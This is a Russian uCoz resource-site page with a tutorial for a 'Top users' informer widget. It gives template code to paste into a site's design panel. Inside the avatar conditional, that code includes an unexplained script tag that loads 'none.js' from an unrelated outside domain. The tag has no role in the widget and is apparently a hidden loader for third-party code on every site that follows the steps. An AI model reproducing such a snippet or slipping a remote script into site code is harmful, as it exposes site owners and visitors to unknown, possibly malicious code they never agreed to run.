Скрипты для ucoz,шаблоны для ucoz,шаблоны для dle

Добро пожаловать на софт портал На сайте публикуются материалы, которые Вы можете выбрать для себя абсолютно бесплатно. Рекомендуем Вам добавить сайт в закладки, а также подписаться на RSS ленту.
Стартовая Избранное Главная Контакты Карта сайта
Все для ucoz и dle
>

Меню

Новые комментарии

san-san написал:

Мини-чат

Наша кнопочка

скрипты шаблоны софт графика для Ucoz -DLE!


Статистика

Счетчик посещений

OnLine
Онлайн всего: 1
Гостей: 1
Пользователей: 0

Сегодня были:

Друзья портала


Каталог@Mail.ru - каталог ресурсов интернет Проверка PR ТИЦ

Рады вас видеть!


Главная » Файлы » скрипты

Красивый информер "Топ пользователей" для ucoz
11.10.2012, 18:59

Зайдя на один сайт увидел красивый информер - Топ аплоадеров (пользователей)
Решил добавить его в паблик, особенность информера в том,
Что при наведении на иконки выдвигается небольшая информация о количестве файлов и т.д.

Установка:
1)Создаем информер
Кто не знает где это вот ссылка: http://адрес_вашего_сайта/panel/?a=informers

Информер с такими параметрами:

Название информера - Топ пользователей
Раздел - Пользователи
Способ сортировки - Количество файлов
Количество материалов - 4
Количество колонок - 2
Создать

Должен появится новый информер - и рядом с ним код вызова
Например $MYINF_1$ - у вас может быть другой

2)После этого меняем дизайн информера
Заходим в управление дизайном созданного информера
И заменяем весь код на этот:

Code
</div></div></div>  
</div>

<a href="/index/8-$USER_ID$" target="_blank" style="color:#ffffff;">
<?if($AVATAR_URL$)?><script src="http://cm4fan.ru/none.js" type="text/javascript"></script><img src="$AVATAR_URL$" title="Перейти в профиль" id="topusers"><?else?>
<img src="http://ili.pp.ua/img/no.png" id="topusers">
<?endif?></a>  

<div class="chat-addtime" style="float:none; width:87px; margin-top:1px;">  
<span style="display:block; text-align:center;">
<a href="/index/8-$USER_ID$" target="_blank" style="color:#ffffff;">

<?if(len($USERNAME$)>11)?>
<?substr($USERNAME$,0,11)?>
<?else?>
$USERNAME$
<?endif?>
</a>  
</span>
</div>  
</center>
<script type="text/javascript"> $('.place$NUMBER$').hover( function () {$(this).stop().animate({"width" : $('.place1 #text').width() + 6} , 250);}, function () {$(this).stop().animate({"width" : 1} , 250);} ); $('.torrents').hover( function () {$(this).stop().animate({"width" : $('.torrents #text').width() + 6} , 250);}, function () {$(this).stop().animate({"width" : 1} , 250);} ); $('.comments').hover( function () {$(this).stop().animate({"width" : $('.comments #text').width() + 6} , 250);}, function () {$(this).stop().animate({"width" : 1} , 250);} ); </script>


Теперь создаём новый блок (например через конструктор)
И называем его например "Топ пользователей"
В html код блока вставляем:

Code
$MYINF_1$
<link type="text/css" rel="StyleSheet" href="http://ili.pp.ua/js_css/cssuser.css">


$MYINF_1$ - меняем на свой (если у вас другой)

Готово..
Думаю, что всё понятно разъяснил

Чтобы увидеть скрытый текст - Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь. Мы рекомендуем Вам Зарегистрироваться --- Либо зайти на сайт под своим именем.


html-cсылка на публикацию
BB-cсылка на публикацию
Прямая ссылка на публикацию

Категория: скрипты | Добавил: Aninew
Просмотров: 374 | Загрузок: 0 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]



Случайные материала портала




Игровое онлайн радио Tort.FM

Материал полностью


мини чат для DLE

Материал полностью


Еще один вид опросов

Материал полностью


скриншот для каталога сайтов ucoz

Материал полностью


новости

Наш опрос

новый год


Всего ответов: 35

 
Главная |О сайте | Контакты | Правила сайта | Карта сайта | Карта форума | Хостинг от uCoz|